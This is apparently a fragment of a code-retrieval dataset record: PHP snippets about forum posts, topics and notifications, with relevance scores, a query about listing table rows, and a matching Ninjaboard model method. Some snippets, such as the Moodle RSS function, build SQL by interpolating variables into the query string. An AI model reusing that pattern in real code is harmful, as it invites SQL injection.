'can_reply',\n\t\t\t'mark_any_notify' => 'can_mark_notify',\n\t\t\t'remove_any' => 'can_delete',\n\t\t)\n\t);\n\n\t// Now go through all the permissions, looking for boards they can do it on.\n\tforeach ($permissions as $type => $list)\n\t\tforeach ($list as $permission => $allowed)\n\t\t{\n\t\t\t// They can do it on these boards...\n\t\t\t$boards = boardsAllowedTo($permission);\n\n\t\t\t// If 0 is the only thing in the array, they can do it everywhere!\n\t\t\tif (!empty($boards) && $boards[0] == 0)\n\t\t\t\t$boards = array_keys($board_ids[$type]);\n\n\t\t\t// Go through the boards, and look for posts they can do this on.\n\t\t\tforeach ($boards as $board_id)\n\t\t\t{\n\t\t\t\t// Hmm, they have permission, but there are no topics from that board on this page.\n\t\t\t\tif (!isset($board_ids[$type][$board_id]))\n\t\t\t\t\tcontinue;\n\n\t\t\t\t// Okay, looks like they can do it for these posts.\n\t\t\t\tforeach ($board_ids[$type][$board_id] as $counter)\n\t\t\t\t\t$context['posts'][$counter][$allowed] = true;\n\t\t\t}\n\t\t}\n\n\t// Some posts - the first posts - can't just be deleted.\n\tforeach ($context['posts'] as $counter => $dummy)\n\t\t$context['posts'][$counter]['can_delete'] &= $context['posts'][$counter]['delete_possible'];\n}", "function forum_rss_feed_posts($forum, $newsince=0) {\n\n global $CFG;\n\n $items = array();\n\n if ($newsince) {\n $newsince = \" AND p.modified > '$newsince'\";\n } else {\n $newsince = \"\";\n }\n\n if ($recs = get_records_sql (\"SELECT p.id AS postid,\n d.id AS discussionid,\n d.name AS discussionname,\n u.id AS userid,\n u.firstname AS userfirstname,\n u.lastname AS userlastname,\n p.subject AS postsubject,\n p.message AS postmessage,\n p.created AS postcreated,\n p.format AS postformat\n FROM {$CFG->prefix}forum_discussions d,\n {$CFG->prefix}forum_posts p,\n {$CFG->prefix}user u\n WHERE d.forum = '$forum->id' AND\n p.discussion = d.id AND\n u.id = p.userid $newsince\n ORDER BY p.created desc\", 0, $forum->rssarticles)) {\n\n $item = NULL;\n $user = NULL;\n\n $formatoptions = new object;\n $formatoptions->trusttext = true;\n\n foreach ($recs as $rec) {\n unset($item);\n unset($user);\n $item->category = $rec->discussionname;\n $item->title = $rec->postsubject;\n $user->firstname = $rec->userfirstname;\n $user->lastname = $rec->userlastname;\n $item->author = fullname($user);\n $item->pubdate = $rec->postcreated;\n $item->link = $CFG->wwwroot.\"/mod/forum/discuss.php?d=\".$rec->discussionid.\"&parent=\".$rec->postid;\n $item->description = format_text($rec->postmessage,$rec->postformat,$formatoptions,$forum->course);\n\n\n $post_file_area_name = str_replace('//', '/', \"$forum->course/$CFG->moddata/forum/$forum->id/$rec->postid\");\n $post_files = get_directory_list(\"$CFG->dataroot/$post_file_area_name\");\n \n if (!empty($post_files)) { \n $item->attachments = array();\n foreach ($post_files as $file) { \n $attachment = new stdClass;\n if ($CFG->slasharguments) {\n $attachment->url = \"{$CFG->wwwroot}/file.php/$post_file_area_name/$file\";\n } else {\n $attachment->url = \"{$CFG->wwwroot}/file.php?file=/$post_file_area_name/$file\";\n } \n $attachment->length = filesize(\"$CFG->dataroot/$post_file_area_name/$file\");\n $item->attachments[] = $attachment;\n }\n }\n\n $items[] = $item;\n }\n }\n return $items;\n }", "public static function getFeedItems()\n {\n return Post::where('published', true)->get();\n }", "public function getTopicCallable()\n {\n return array($this, 'getTopic');\n }", "public function getTopic($message){\n $email_id = $message->getId();\n $title = $this->getTitle($message);\n $body = $message->getBodyText();\n //$bodyArray = $this->getBodyArray($body);\n $categories = $this->getCategories($body);\n $tags = $this->findTags($body);\n $date = $message->getDate();\n $topic = [\n 'email_id' => $email_id,\n 'title' => $title,\n 'body' => $body,\n 'categories' => $categories,\n 'tags' => $tags,\n 'date' => $date\n ];\n return $topic;\n }", "function get_posts_discussion_email_details($discussion, $emails) {\n global $CFG;\n require_once($CFG->dirroot.'/user/lib.php');\n $contribemails = array();\n $userids = get_contributor_ids($discussion);\n // Get contributor details.\n $users = user_get_users_by_id($userids);\n foreach ($users as $user) {\n if (!in_array($user->email, $emails)) {\n $details = array();\n $details['email'] = $user->email;\n $details['mailformat'] = $user->mailformat;\n $details['username'] = $user->username;\n $contribemails[] = $details;\n }\n }\n return $contribemails;\n}", "public function getPostsList()\n {\n return [\n 'Shawshank redemption',\n 'Forrest Gump',\n 'The Matrix',\n 'Pirates of the Carribean',\n 'Back to the future',\n ];\n }", "public function index()\n {\n //\n $topics = Topic::orderBy('id', 'desc')->get()->toJson(JSON_PRETTY_PRINT);\n return response($topics, 200);\n }", "function fatherly_fcr_append_posts_to_feed($posts)\n{\n include_once(__DIR__ . '/inc/classes/ContentRecirculation.php');\n $popular_posts = FCR\\ContentRecirculation::init()->getPostsForRecirculation();\n if (count($popular_posts) > 1) {\n $posts = array_merge($posts, $popular_posts);\n }\n\n return $posts;\n}", "public function threadsWithNewMessages()\n {\n $threadsWithNewMessages = [];\n $participants = Participant::where('user_id', $this->id)->lists('last_read', 'thread_id');\n\n /**\n * @todo: see if we can fix this more in the future.\n * Illuminate\\Foundation is not available through composer, only in laravel/framework which\n * I don't want to include as a dependency for this package...it's overkill. So let's\n * exclude this check in the testing environment.\n */\n if (getenv('APP_ENV') == 'testing' || !str_contains(\\Illuminate\\Foundation\\Application::VERSION, '5.0')) {\n $participants = $participants->all();\n }\n\n if ($participants) {\n $threads = Thread::whereIn('id', array_keys($participants))->get();\n\n foreach ($threads as $thread) {\n if ($thread->updated_at > $participants[$thread->id]) {\n $threadsWithNewMessages[] = $thread->id;\n }\n }\n }\n\n return $threadsWithNewMessages;\n }", "public function blogPosts()\n\t{\n\t\t$auth = $this->ensureAuthed();\n\t\t$output = Output::getInstance();\n\t\t$feeds = Feeds::getInstance();\n\n\t\t$urls = $feeds->getValidURLs();\n\n\t\t$posts = array();\n\t\tforeach ($urls as $url => $user)\n\t\t{\n\t\t\t$teams = $auth->getTeams($user);\n\t\t\tif (count($teams) > 0)\n\t\t\t{\n\t\t\t\t$author = $auth->displayNameForTeam($teams[0]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$author = $user;\n\t\t\t}\n\t\t\t$msgs = Feeds::getRecentPosts($url, 3, $author);\n\t\t\t$posts = array_merge($posts, $msgs);\n\t\t}\n\t\t$output->setOutput('posts', $posts);\n\t\treturn true;\n\t}", "function post_publish_notification($ID , $post){\n\t$email = get_the_author_meta('user_email',$post->post_author);\n\t$subject = 'Published '.$post->post_title;\n\t$message = 'We just Published your post '.$post->post_title.\n\t ' take a look at : '. get_permalink($ID);\n\twp_mail($email,$subject,$message);\n}", "function authorNotification2( $post_id ) {\n\tglobal $wpdb;\n\t$post = get_post( $post_id );\n\t$author = get_userdata( $post->post_author );\n\t$message = \"\";\n\twp_mail( $author->user_email, \"\", $message );\n}", "public function _list( $args, $assoc_args ) {\n\t\t$formatter = $this->get_formatter( $assoc_args );\n\t\t$user = $this->get_user_id_from_identifier( $args[0] );\n\n\t\t$topics = bbp_get_user_favorites( $this->user_args( $user->ID ) );\n\n\t\tif ( 'ids' === $formatter->format ) {\n\t\t\techo implode( ' ', bbp_get_user_favorites_topic_ids( $user->ID ) ); // WPCS: XSS ok.\n\t\t} elseif ( 'count' === $formatter->format ) {\n\t\t\t$formatter->display_items( $topics->found_posts );\n\t\t} else {\n\t\t\t$topics = array_map( function( $post ) {\n\t\t\t\t$post->url = get_permalink( $post->ID );\n\t\t\t\treturn $post;\n\t\t\t}, $topics->posts );\n\t\t\t$formatter->display_items( $topics );\n\t\t}\n\t}", "public function getReplys()\n {\n\t $q = Doctrine_Query::create()\n ->from('SpeakoutReply sr')\n ->leftJoin('sr.NetworkUser nu')\n ->where('sr.topic_id = ?', $this->getId()); \n\t\n return Doctrine_Core::getTable('NetworkUser')->getWithUsers($q);\n }", "public function publish()\n {\n $message = new MailMessage;\n $message->greeting(\"Hi {$this->post->reporting->name}!\");\n $message->line(\"The post {$this->post->titile} has been published successfully.\"); \n foreach ($this->workflow as $key => $value) {\n if ($key == 0) {\n $message->action($value->action, url('workflows/workflow/' . $value->id));\n continue;\n }\n $message->line('<a href=\"'.url('workflows/workflow/' . $value->id).'\">'.$value->action.'</a>');\n }\n\n return $message;\n }", "public function get_topic_messages($topic_id) {\n $messages = Message::select(\n 'message.message_id',\n 'message.content',\n 'message.reply_to',\n 'message.created_at',\n 'message.created_by',\n 'user.user_id AS author_id',\n 'user.display_name AS author_name',\n 'topic.topic_id'\n )\n ->leftJoin('topic', 'topic.topic_id', '=', 'message.topic_id')\n ->leftJoin('user', 'user.user_id', '=', 'message.created_by')\n ->where('topic.topic_id', $topic_id)\n ->orderBy('message.created_at', 'DESC')\n ->get();\n $topic = Topic::select(\n 'topic.title',\n 'topic.content',\n 'topic.created_at',\n 'topic.created_by',\n 'user.display_name AS author_name'\n )\n ->leftJoin('user', 'user.user_id', '=', 'topic.created_by')\n ->where('topic.franchise_id', $this->franchise_id)\n ->where('topic.club_id', $this->club_id)\n ->where('topic.topic_id', $topic_id)\n ->first();\n\n $results = array(\n 'topic_id' => $topic_id,\n 'author_name' => $topic->author_name,\n 'title' => $topic->title,\n 'content' => $topic->content,\n 'created_at' => $topic->created_at->toDateTimeString(),\n 'created_by' => $topic->created_by,\n 'messages' => $messages\n );\n\n return response()->json($results, 200);\n }", "function articles_syndication_mail($key, &$message, $params) {\n switch ($key) {\n case 'syndicated_article_created':\n $message['subject'] = $params['subject'];\n $message['body'][] = $params['body'];\n break;\n }\n}", "public function topics()\n {\n return $this->hasMany('ForumTopic', 'forum_id', 'id');\n }", "public function getList(){\n\t\t$result = array();\n\t\t$user = $this->getServiceLocator()->get( 'user' );\n\t\t$messages = $this->getServiceLocator()->get( 'note_mapper' )->fetchVisibleByOwnerId( $user->getId() );\n\t\tif( count( $messages ) )\n\t\t\tforeach( $messages as $message )\n\t\t\t\t$result[] = array( \"type\"\t=> $message->getClass(),\n\t\t\t\t\t\t\t\t\t\"body\"\t=> $message->getBody(),\n\t\t\t\t\t\t\t\t\t\"subject\" => $message->getSubject(),\n\t\t\t\t\t\t\t\t\t\"id\"\t\t=> $message->getId() );\n\t\treturn new JsonModel( $result );\n }", "function getPublishedPosts() {\n // Connect To Blog DB\n $db = new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DATABASE);\n\n $sql = \"SELECT * FROM `posts` WHERE published=true\";\n $result = mysqli_query($db, $sql);\n\n // Get all published posts from DB\n $posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\n $final_posts = array();\n foreach ($posts as $post) {\n $post['topic'] = getPostCategory($post['id']);\n array_push($final_posts, $post);\n }\n\n // Close Connection\n $db -> close();\n\n\n return $final_posts;\n}", "public function getAllPublished();", "public function notifications()\n {\n $notifications = $this->get(\"/api/v1/conversations?as_user_id=sis_user_id:mtm49\");\n return $notifications;\n }", "public function posts()\n {\n return $this->morphedByMany(\n Post::class,\n 'metable',\n 'metables',\n 'meta_id',\n );\n }", "function sendNotifications($topics, $type, $exclude = [], $members_only = [], $pbe = [])\n{\n\t// Simply redirects to PostNotifications class sendNotifications method\n\t// @todo I could find no use of $exclude in any calls to this function, that is why its missing :/\n\t(new PostNotifications())->sendNotifications($topics, $type, $members_only, $pbe);\n}", "public function allTopics(){\r\n\r\n $manTopic = new SujetManager();\r\n $topics = $manTopic->findAll();\r\n //Session::addValueTo('ok', 'ok');\r\n \r\n return [\r\n \"view\" => \"forum/listTopics.php\", \r\n \"data\" => [\r\n \"topics\" => $topics\r\n ],\r\n \"titrePage\" => \"FORUM | Sujets\"\r\n ];\r\n }", "public function listNotificationInterests( );", "public function entriesForHomepageAction()\n {\n $cp= $this->get('symfonyse.blog.content_provider');\n $entries = $cp->getAllEntries();\n $cp->sortEntries($entries);\n\n $publishedEntries=array();\n $now = new \\DateTime();\n foreach ($entries as $event) {\n /* @var $event \\Symfonyse\\EventBundle\\Entity\\Event */\n if ($event->getPostedAt() < $now) {\n $publishedEntries[]= $event;\n }\n }\n\n\n return array('entries'=>$publishedEntries);\n }", "function get_entitled( $pub_id, $channel = false, $issue_id = false, $now = false ){\n\n\t\tglobal $wpdb;\n\n\t\tif ( ! $pub_id ) { return false; }\n\n\t\t$now = ( is_int( $now ) ) ? $now : time();\n\n\t\t$sql = $wpdb->prepare( \"SELECT user_id FROM {$wpdb->prefix}harbor_entitlements WHERE (expires > %d) AND (pub_id = %s)\", $now, $pub_id );\n\t\tif ( $channel ) { $sql .= $wpdb->prepare( ' AND (channel = %s)', $channel ); }\n\t\tif ( $issue_id ) { $sql .= $wpdb->prepare( ' AND (issue_id = %d)', $issue_id ); }\n\n\t\t$users = $wpdb->get_results($sql, ARRAY_A);\n\n\t\treturn $users;\n\t}", "private function my_posts_list()\n\t{\n\t\t$posts = ORM::factory('forum_cat_post')\n\t\t\t->select('forum_cat_posts.*, forum_cats.name, forum_cats.url')\n\t\t\t->with('forum_cat_post_comment')\n\t\t\t->join('forum_cats', 'forum_cats.id', 'forum_cat_posts.forum_cat_id')\n\t\t\t->where('forum_cat_post_comment.owner_id', $this->owner->get_user()->id)\n\t\t\t->orderby(\"forum_cat_post_comment.$this->sort_by\", $this->order)\n\t\t\t->find_all();\n\t\tif(0 == $posts->count())\n\t\t\treturn 'No posts created yet.';\n\n\t\t$view\t\t\t= new View('public_forum/posts_list');\t\n\t\t$view->posts \t= $posts;\n\t\treturn $view;\n\t}" ]
[ "0.6238122", "0.6200013", "0.59468573", "0.5909666", "0.5855184", "0.58434504", "0.5832091", "0.5790007", "0.5776352", "0.5713242", "0.5686623", "0.5685458", "0.56518596", "0.5635818", "0.56321573", "0.56123036", "0.560345", "0.55904764", "0.55885357", "0.5572783", "0.55724967", "0.5564502", "0.5546179", "0.55286664", "0.5508745", "0.55021733", "0.55021733", "0.55021733", "0.5501534", "0.5500639", "0.5483443", "0.5472862", "0.5471205", "0.5453556", "0.5447495", "0.54387945", "0.5435958", "0.5432408", "0.5432212", "0.54321337", "0.542469", "0.542469", "0.5421475", "0.5410458", "0.5409731", "0.54063565", "0.5402163", "0.5399758", "0.5399758", "0.53984386", "0.53771603", "0.5376563", "0.5369867", "0.5368941", "0.5366142", "0.53658944", "0.53596187", "0.53580064", "0.5353629", "0.53448576", "0.5338486", "0.5332004", "0.5325346", "0.5324382", "0.5323332", "0.53107804", "0.53099346", "0.5299405", "0.52969825", "0.5294278", "0.5282898", "0.5279208", "0.5270354", "0.52680403", "0.52647656", "0.5260687", "0.5260273", "0.52542907", "0.5252658", "0.5238286", "0.523234", "0.52156353", "0.52133065", "0.52121913", "0.5210998", "0.52100796", "0.52061653", "0.5203578", "0.5203446", "0.52026147", "0.5197603", "0.51940656", "0.5192832", "0.5191104", "0.518983", "0.51828086", "0.51792985", "0.5176396", "0.51753134", "0.5170184", "0.51696634" ]
0.0
-1
Get a list of items which represnts a table rowset
public function getList() { if(!isset($this->_list)) { parent::getList(); $table = $this->getTable(); $types = array( 'forum' => $table->getTypeIdFromName('forum'), 'topic' => $table->getTypeIdFromName('topic'), 'person' => $table->getTypeIdFromName('person') ); //@TODO optimize this to 3 queries in total, instead of multiple foreach($this->_list as $item) { //@TODO speed this up by adding it as a db column $item->modified_by = false; $item->modified_name = JText::_('COM_NINJABOARD_NA'); if($item->subscription_type == $types['forum']) { $item->type = 'forum'; $item->title = $this->getService('com://admin/ninjaboard.model.forums') ->id($item->subscription_type_id) ->getItem() ->title; $icon = '/forums/default.png'; $link = '&view=forum&id='.$item->subscription_type_id; } if($item->subscription_type == $types['topic']) { $item->type = 'topic'; $topic = $this->getService('com://admin/ninjaboard.model.topics') ->id($item->subscription_type_id) ->getItem(); $item->title = $topic->subject; $icon = '/topic/32__default.png'; $link = '&view=topic&id='.$item->subscription_type_id; } if($item->subscription_type == $types['person']) { $item->type = 'person'; $item->title = $this->getService('com://admin/ninjaboard.model.people') ->id($item->subscription_type_id) ->getItem() ->display_name; $icon = '/16/users.png'; $link = '&view=person&id='.$item->subscription_type_id; } $item->link = JRoute::_('index.php?option=com_ninjaboard'.$link); $item->icon = $this->getService('ninja:template.helper.document')->img($icon); } } return $this->_list; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_rows()\n\t{\n//\t\t$rows = new object_list($this->connections_from(array(\"type\" => \"RELTYPE_CHILD\", \"to.class_id\" => crm_bill_row_obj::CLID)));\n\t\t$rows = new object_list(array(\n\t\t\t\"class_id\" => crm_bill_row_obj::CLID,\n\t\t\t\"CL_CRM_BILL_ROW.RELTYPE_CHILD(CL_CRM_BILL_ROW_GROUP).oid\" => $this->id(),\n\t\t\tnew obj_predicate_sort(array(\"jrk\" => \"asc\")),\n\t\t));\n\t\treturn $rows;\n\t}", "abstract protected function getRows();", "abstract public function get_rows();", "public function getRows();", "public function getRows();", "public function fetchRowset()\n\t{\n\t\t$this->_query();\n\n\t\treturn $this->stmt->fetchAll(\\PDO::FETCH_ASSOC);\n\t}", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "protected function tableRows()\n {\n $tbody = DB::table($this->argument('table'))->get();\n\n return $tbody->map(function ($field) {\n return $this->selectRowByField($field);\n });\n }", "public function rows() {\n\t\treturn $this->row();\n\t}", "public function getTabularItems()\n {\n return SATabularListM::model()->findAll(array('order'=>'tabularlist_block'),array('tabularlist_aktif'=>TRUE));\n // return Yii::app()->db->createCommand('SELECT tabularlist_id, tabularlist_block FROM tabularlist_m WHERE tabularlist_aktif=TRUE')->queryAll();\n }", "function getList()\n {\n global $db;\n $sql = \" select * from \".$this->table.\" \"; \n $db->SetFetchMode(ADODB_FETCH_ASSOC);\n\t\t$info = $db->execute($sql);\n \t\t$item = $info->GetRows();\t\n\t\treturn $item;\n }", "public function table_get_all($table);", "function getRows() { return $this->_rows; }", "public function getRows()\n {\n if (is_null($this->summaryRow)) {\n return $this->rows;\n } else {\n return $this->rows + array(self::ID_SUMMARY_ROW => $this->summaryRow);\n }\n }", "public function get_row();", "function get_all(){\r\n\t\t$rows = array();\r\n\t\twhile($row = $this->get_row()){\r\n\t\t\t$rows[] = $row;\r\n\t\t}\r\n\t\treturn $rows;\r\n\t}", "public function all(): ResultSetContract;", "function getRows() {\n\t\treturn $this->rows;\n\t}", "private function get_filterItemsFromRows()\n {\n // Default return value\n $arr_return = array();\n $arr_return[ 'data' ][ 'items' ] = null;\n\n // RETURN rows are empty\n if ( empty( $this->rows ) )\n {\n // DRS\n if ( $this->pObj->b_drs_warn )\n {\n $prompt = 'Rows are empty. Filter: ' . $this->curr_tableField . '.';\n t3lib_div::devlog( '[WARN/FILTER] ' . $prompt, $this->pObj->extKey, 2 );\n }\n // DRS\n return $arr_return;\n }\n // RETURN rows are empty\n // Get table and field\n list( $table ) = explode( '.', $this->curr_tableField );\n\n // Set nice_piVar\n $this->set_nicePiVar();\n\n // Set class var $htmlSpaceLeft\n $this->set_htmlSpaceLeft();\n\n // Set class var $maxItemsPerHtmlRow\n $this->set_maxItemsPerHtmlRow();\n\n // SWITCH current filter is a tree view\n // #i0117, 141223, dwildt, 1-/+\n //switch ( in_array( $table, $this->arr_tablesWiTreeparentfield ) )\n switch ( in_array( $this->curr_tableField, $this->arr_tablesWiTreeparentfield ) )\n {\n case( true ):\n $arr_return = $this->get_filterItemsTree();\n break;\n case( false ):\n default:\n $arr_return = $this->get_filterItemsDefault();\n $items = $arr_return[ 'data' ][ 'items' ];\n $arr_return = $this->get_filterItemsWrap( $items );\n break;\n }\n // SWITCH current filter is a tree view\n\n return $arr_return;\n }", "function itemRows( ){\r\n\t\tif( $this->_itemRows === null ){\r\n\t\t\t$db = &JFactory::getDBO();\r\n\t\t\t\r\n\t\t\t$limit = rsgInstance::getInt( 'limit', 0 );\r\n\t\t\t$limitstart = rsgInstance::getInt( 'limitstart', 0 );\r\n\t\t\t$filter_order = rsgInstance::getWord( 'filter_order', 'ordering' );\r\n\t\t\t$filter_order_Dir = rsgInstance::getWord( 'filter_order_Dir', 'ASC' );\r\n\t\r\n\t\t\t$where = ' WHERE gallery_id = '. $this->get('id') . ' AND published = 1 ';\r\n\t\r\n\t\t\tif ($filter_order == 'ordering'){\r\n\t\t\t\t$orderby \t= ' ORDER BY ordering ';\r\n\t\t\t} else {\r\n\t\t\t\t$orderby \t= ' ORDER BY '.$filter_order.' '.$filter_order_Dir.' , ordering ';\r\n\t\t\t}\r\n\t\r\n\t\t\t$query = ' SELECT * FROM #__rsgallery2_files '\r\n\t\t\t\t. $where\r\n\t\t\t\t. $orderby;\r\n\r\n\t\t\t// limits should be handled by the db, but this appears to be borked\r\n\t\t\t$db->setQuery( $query, $limitstart, $limit );\r\n\r\n\t\t\t$this->_itemRows = $db->loadAssocList( 'id' );\r\n\t\t}\r\n\t\treturn $this->_itemRows;\r\n\t}", "function AggregateListRow() {\n\t}", "public function getRows ()\n {\n return $this->_rows;\n }", "public function getRows()\n {\n return $this->rows;\n }", "public function getRows()\n {\n return $this->rows;\n }", "function client_items_manage_table_data_rows($items,$controller)\n{\n\t$CI =& get_instance();\n\t$client_item_rows='';\n\t\n\tforeach($items->result() as $item)\n\t{\n\t\t$client_item_rows.=client_item_data_row($item,$controller);\n\t}\n\t\n\treturn $client_item_rows;\n}", "public function getRows()\n\t{\n\t\t$ret = null;\n\t\tif ($this->_tbody instanceof HtmlElement) {\n\t\t\t$ret = $this->_tbody->getElements();\n\t\t}\n\t\treturn $ret;\n\t}", "public function get_all_items()\r\n\t{\r\n\t\t$sql = \"SELECT *\r\n\t\t\t\tFROM tbl_item i\r\n\t\t\t\tORDER by i.item_id DESC\r\n\t\t\";\r\n\t\t$result = $this->getRows($sql);\r\n\t\treturn $result;\r\n\t}", "public function getRows()\n\t{\n\t\treturn $this->driver->getRows();\n\t}", "public function get_rows() {\n return $this->rows;\n }", "public function getRows()\n {\n $query = $this->getQuery();\n \n if (!empty($this->columns)) {\n $query->select(implode(', ', $this->columns));\n }\n \n foreach ($this->sort as $key => $value) {\n $query->sortBy($key, $value);\n }\n \n if ($this->range) {\n $query->limit($this->start, $this->range);\n }\n \n if (!empty($this->group)) {\n $query->groupBy($this->group);\n }\n \n return $this->database->query($query, $this->database->getBinds());\n }", "function cicleinscription_get_itemsTable($table, $page = 0, $perpage = 0, $sort = \"o.name ASC\"){\n\tglobal $DB;\n\n\t$limitsql = '';\n\t$page = (int) $page;\n\t$perpage = (int) $perpage;\n\n\t# Iniciando paginacao\n\tif($page || $perpage){\n\tif ($page < 0) {\n\t$page = 0;\n\t}\n\n\tif ($perpage > ITEMS_MAX_PER_PAGE) {\n\t$perpage = ITEMS_MAX_PER_PAGE;\n\t} else if ($perpage < 1) {\n\t\t$perpage = ITEMS_PER_PAGE;\n\t}\n\t$limitsql = \" LIMIT $perpage\" . \" OFFSET \" . $page * $perpage;\n\t}\n\t\n\t// recupera todos os itens cadastrados\n\t$items = $DB->get_records_sql(\"SELECT o.*\n\t\t\t\tFROM {{$table}} o\n\t\t\t\tORDER BY {$sort} {$limitsql}\"\n\t\t\t);\n\t\n\treturn $items;\n}", "public function tableRows(){\n\t\t$this->tableRows = $this->responseRows->length;\n\t\treturn $this->tableRows;\n\t}", "public function getIterator() {\n\t\t// Load related records for current row\n\t\t$data = $this->execute();\n\t\treturn $data ? $data : array();\n\t}", "public function get_rows()\n {\n $lock = !empty($this->configs['rows_edit']) && $this->configs['rows_edit'] == 1 ? true : false;\n\n $tables = $this->file->sheets->first()->tables;\n\n list($query, $power) = $this->get_rows_query($tables);\n\n $head = $tables[0]->columns->map(function($column) { return 'C' . $column->id; })->toArray();\n\n if (Input::has('search.text') && Input::has('search.column_id')) {\n $query->where('C' . Input::get('search.column_id'), Input::get('search.text'));\n }\n\n $query->whereNull('deleted_at')->select($head)->addSelect('id');\n\n $paginate = $this->isCreater()\n ? $query->addSelect('created_by')->paginate(15)\n : $query->where('created_by', $this->user->id)->paginate(15);\n\n $encrypts = $tables[0]->columns->filter(function($column) { return $column->encrypt; });\n\n if (!$encrypts->isEmpty()) {\n $paginate->getCollection()->each(function($row) use($encrypts) {\n $this->setEncrypts($row, $encrypts);\n });\n }\n return ['paginate' => $paginate->toArray(),'lock' => $lock];\n }", "public function getRows()\n {\n return $this->_rows;\n }", "public function getAllList(){\n $collection = new Db\\Collection($this->getProductTable());\n return $collection->load();\n }", "public function rows() {\n return $this->schema->rows;\n }", "public abstract function fetchAll($table);", "public function getSocialConnectItemsList()\n {\n //collection\n\n //SELECT * FROM MYTABLE\n $collection = $this->_ItemFactory->getCollection();\n $collection->addFieldToFilter(\"status\", 1);\n $collection->setOrder(\"Sort_Order\", 'DESC');\n //$collection->getSelect() use print query\n return ($collection->count()) ? $collection : null;\n }", "public function getRowsContainer()\n\t{\n\t\treturn $this->_tbody;\n\t}", "public function resultSet()\n\t{\n\t\t$this->execute();\n\t\treturn $this->stm->fetchAll(PDO::FETCH_OBJ);\n\t}", "public function getTableOfContents();", "public function fetchAll()\n { \n $resultSet = $this->tableGateway->select();\n return $resultSet;\n }", "public function getListOfTables() {}", "protected function getCleanableTableList() {}", "public function getItems()\n {\n // Perform query\n $this->connect();\n $result = $this->conn -> query(\"SELECT * FROM contatti JOIN telefoni ON contatti.id = telefoni.raccordo ORDER BY contatti.id DESC\");\n if($result==false){\n echo \"operazione fallita\";\n $this->disconnect();\n return false;\n }\n // echo \"<br>Returned rows are: \" . $result -> num_rows;\n // echo \"<br>\";\n $rows = array();\n while ($row = $result->fetch_assoc()) {\n $rows[] = $row;\n }\n $this->disconnect();\n return $rows;\n }", "public function getItems(ResultRow $values) {\n }", "public function getRow();", "public function fetchAll(){\n $resultSet = $this->tableGateway->select();\n return $resultSet;\n }", "public function get_rows() {\n\t\tif (!isset($this->rows)) {\n\t\t\t$this->rows = $this->get_array();\n\t\t\t// Take out the header\n\t\t\tarray_shift($this->rows);\n\t\t}\n\t\telse {\n\t\t\treset($this->rows);\n\t\t}\n\t\treturn $this->rows;\n\t}", "function getElements() {\n return $this->rows_object;\n }", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "public function getItems();", "function getItems($db, $resource_pk) {\r\n\r\n $prefix = DB_TABLENAME_PREFIX;\r\n $sql = <<< EOD\r\nSELECT i.item_pk, i.item_title, i.item_text, i.item_url, i.max_rating mr, i.step st, i.visible vis, i.sequence seq,\r\n i.created cr, i.updated upd, COUNT(r.user_pk) num, SUM(r.rating) total\r\nFROM {$prefix}item i LEFT OUTER JOIN {$prefix}rating r ON i.item_pk = r.item_pk\r\nWHERE (i.resource_link_pk = :resource_pk)\r\nGROUP BY i.item_pk, i.item_title, i.item_text, i.item_url, i.max_rating, i.step, i.visible, i.sequence, i.created, i.updated\r\nORDER BY i.sequence\r\nEOD;\r\n\r\n $query = $db->prepare($sql);\r\n $query->bindValue('resource_pk', $resource_pk, PDO::PARAM_INT);\r\n $query->execute();\r\n\r\n $rows = $query->fetchAll(PDO::FETCH_CLASS, 'Item');\r\n if ($rows === FALSE) {\r\n $rows = array();\r\n }\r\n\r\n return $rows;\r\n\r\n }", "public function getFoundRows();", "public function getItemTypeList()\n {\n\n $db = $this->getDb();\n\n $sql = <<<SQL\nSELECT\n type.rowid as type_id,\n type.name as type_name,\n type.icon as type_icon\n\nFROM\n wbfsys_address_item_type type\n\nORDER BY\n type.name;\n\nSQL;\n\n return $db->select($sql)->getAll();\n\n }", "public function getAll()\n {\n $sql = \"SELECT * FROM $this->table\";\n $req = Database::getBdd()->prepare($sql);\n $req->execute();\n return $req->fetchAll();\n }", "public function all()\r\n {\r\n return new IteratorResult(R::findAll($this->table),'redbean');\r\n }", "public function custList($table){\n\t\t\t\n\t\t\t$this->db->query($table);\n\t\t\t$row=$this->db->resultset();\n\t\t\t\n\t\t\treturn $row;\n\t\t\t\n\t\t}", "function getRows() {\n if ($this->_recordset === null) {\n // begin processing result into recordset\n $this->_entries = ldap_get_entries($this->dbh->connection, $this->result);\n $this->row_counter = $this->_entries['count'];\n $i = 1;\n $rs_template = array();\n if (count($this->dbh->attributes) > 0) {\n reset($this->dbh->attributes);\n while (list($a_index, $a_name) = each($this->dbh->attributes)) $rs_template[$a_name] = '';\n }\n while (list($entry_idx, $entry) = each($this->_entries)) {\n // begin first loop, iterate through entries\n if (!empty($this->dbh->limit_from) && ($i < $this->dbh->limit_from)) continue;\n if (!empty($this->dbh->limit_count) && ($i > $this->dbh->limit_count)) break;\n $rs = $rs_template;\n if (!is_array($entry)) continue;\n while (list($attr, $attr_values) = each($entry)) {\n // begin second loop, iterate through attributes\n if (is_int($attr) || $attr == 'count') continue;\n if (is_string($attr_values)) $rs[$attr] = $attr_values;\n else {\n $value = '';\n while (list($value_idx, $attr_value) = each($attr_values)) {\n // begin third loop, iterate through attribute values\n if (!is_int($value_idx)) continue;\n if (empty($value)) $value = $attr_value;\n else {\n if (is_array($value)) $value[] = $attr_value;\n else $value = array($value, $attr_value);\n }\n// else $value .= \"\\n$attr_value\";\n // end third loop\n }\n $rs[$attr] = $value;\n }\n // end second loop\n }\n reset($rs);\n $this->_recordset[$entry_idx] = $rs;\n $i++;\n // end first loop\n }\n $this->_entries = null;\n if (!is_array($this->_recordset))\n $this->_recordset = array();\n if (!empty($this->dbh->sorting)) {\n 